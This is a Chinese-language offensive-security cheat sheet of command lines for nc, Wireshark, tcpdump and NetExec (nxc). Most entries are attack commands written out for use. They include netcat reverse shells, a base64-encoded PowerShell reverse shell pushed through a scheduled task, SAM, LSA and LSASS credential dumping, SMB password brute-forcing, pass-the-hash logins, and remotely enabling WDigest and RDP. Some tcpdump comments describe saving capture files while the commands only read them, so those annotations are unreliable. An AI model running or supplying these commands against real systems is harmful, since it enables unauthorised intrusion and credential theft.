跳转至

常用工具

nc

Bash
# 监听本地 443 端口,等待反向连接(rlwrap用于支持历史命令)
rlwrap nc -nvlp 443

# 连接到目标 1.1.1.1 的 443 端口
nc -nv 1.1.1.1 443

# 使用 busybox nc 执行反向 shell(将/bin/bash通过管道发送到目标)
busybox nc 1.1.1.1 443 -e /bin/bash

# 扫描目标 1.1.1.1 的 1-1000 端口
nc -nvz 1.1.1.1 1-1000

# 连接到目标 1.1.1.1 的 110 端口(POP3),并执行认证命令
nc -nvC 1.1.1.1 110
user username
pass password
list
retr 1

Wireshark

Bash
1
2
3
4
5
# 将当前用户添加到 wireshark 组,允许非 root 抓包
sudo usermod -aG wireshark $USER

# 抓包过滤:排除 80(HTTP) 和 25(SMTP) 端口,且目标主机为 www.wireshark.org
not port 80 and not port 25 and host www.wireshark.org

tcpdump

Bash
# 从 pcap 中提取源 IP,统计访问量 TOP5
sudo tcpdump -n -r a.pcap | awk -F" " '{print $5}' | sort | uniq -c | head

# 抓取与主机 1.1.1.1 的所有流量,保存到 a.pcap
sudo tcpdump -n src host 1.1.1.1 -r a.pcap

# 抓取 81 端口的流量,保存到 a.pcap
sudo tcpdump -n port 81 -r a.pcap

# 显示 pcap 中所有数据包的十六进制和 ASCII
sudo tcpdump -nX -r a.pcap

# 抓取 81 端口的流量,不解析端口名,保存到 a.pcap
sudo tcpdump -nA port 81 -r a.pcap

# 二进制转十进制:00011000 = 24
echo "$((2#00011000))"

# 过滤 TCP 标志位为 24(PSH+ACK)的数据包
sudo tcpdump -nA 'tcp[13] = 24' -r a.pcap

nxc

Bash
# SMB 模块:扫描网段,禁用签名 /SMBv1 检测
nxc smb 1.1.1.0/24 --signing:False --SMBv1:False

# 查看目标 SMB 接口信息
nxc smb 192.168.56.132 -u administrator -p vv --interfaces

# 导出目标 SAM 数据库(用户哈希)
nxc smb 192.168.104.50 -u administrator -p Passw0rd --sam

# 导出 LSA 缓存信息
nxc smb 192.168.104.50 -u administrator -p Passw0rd --lsa

# 上传本地/etc/passwd到目标共享
nxc smb 192.168.104.50 -u administrator -p Passw0rd --put-file /etc/passwd \\passwd

# 执行 test_connection 模块(测试连接)
nxc smb 192.168.104.50 -u administrator -p Passw0rd --local-auth -M test_connection -o HOST=192.168.45.196

# 账号密码爆破(从文件读取,成功后继续)
nxc smb 1.1.1.1 -u user.txt -p pass.txt --continue-on-success

# 使用 NTLM 哈希认证(无需明文密码)
nxc smb 1.1.1.1 -u user.txt -H <ntlm_hash>

# RID 爆破(枚举用户ID)
nxc smb 192.168.56.132 -u administrator -p vv --rid-brute 1010

# 查看 RDP 模块选项
nxc smb -M rdp --options
nxc smb -M rdp -h

# 启用目标 WDigest 认证(便于抓取哈希)
nxc smb 192.168.104.50 -u user -p pass -M wdigest -o ACTION=enable

# 读取登录脚本信息
nxc smb 192.168.104.50 -u administrator -p Passw0rd -M reg-winlogon

# 导出 PowerShell 历史记录
nxc smb 192.168.56.127 -u administrator -p Passw0rd -M powershell_history -o export=True

# 执行 wcc 模块(Windows Credential Collector)
nxc smb 192.168.56.127 -u administrator -p Passw0rd -M wcc

# 查看目标已登录用户
nxc smb 192.168.104.50 -u administrator -p Passw0rd --local-auth --loggedon-users

# 执行 powershell 反向 shell(Base64编码避免特殊字符)
nxc smb 192.168.104.50 -u administrator -p Passw0rd --local-auth -M schtask_as -o USER=Administrator CMD='powershell -e JABjAGwAaQBlAG4AdAAgPSBOAGUAdwAtAE8AYgBqAGUAYwB0AC4ATgBlAHQALgBUAEMAUwBvAGMAawBlAHQAIgAxADkAMgAuADEANgA4AC4AMQA1ADYALgAxADQ5ACIALAAxADMANAA0ADsAJHByAG8AYwBlAHMAcwAgAD0gAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUHByAG8AYwBlAHMAcwB7AFMAdABhAHIAdABGAGkAbABlAD0AIgBjAHMAXAB3AGkAbgBkAG8AdwBzAFwAc3B5AHMAdABlAG0AMzIAXABjAG0AZAAuAGUAeABlACIALAAgAFMAdABhAHIAdABBAHIAZwB1AG0AZQBuAHQAPQAiL2MgY2FsYyAiAH0gAHwAIABPAG4AdABvAC1FAHgAcAByAGUAc3NpAG8AbgA7ACQk'

# 导出 LSASS 内存哈希(lsassy模块)
nxc smb <target(s)> -u Administrator -p 'October2022' -M lsassy

# 导出 LSASS 内存哈希(nanodump模块)
nxc smb <target(s)> -u Administrator -p 'October2022' -M nanodump

# RDP 模块:使用 NTLM 哈希登录并截图
nxc rdp 192.168.56.132 -u yfh -H <ntlm_hash> --screenshot

# 使用明文密码登录 RDP 并截图
nxc rdp 192.168.56.132 -u yfh -p vv --screenshot

# WMI 模块:查看 RDP 模块选项
nxc wmi 192.168.56.132 -u yfh -p vv -M rdp --option

# 执行命令:查看端口占用
nxc wmi 192.168.56.132 -u administrator -p vv -x "netstat -nao"

# 启用目标 RDP
nxc wmi 192.168.56.132 -u administrator -p vv -M rdp -o ACTION=enable

# SSH 模块:执行反向 shell
nxc ssh 127.0.0.1 -u kali -p kali -x 'nc 127.0.0.1 1234 -e /bin/bash'

BASH 脚本

Bash
# 循环输出 1 到 10 的数字
for i in {1..10}; do echo $i; done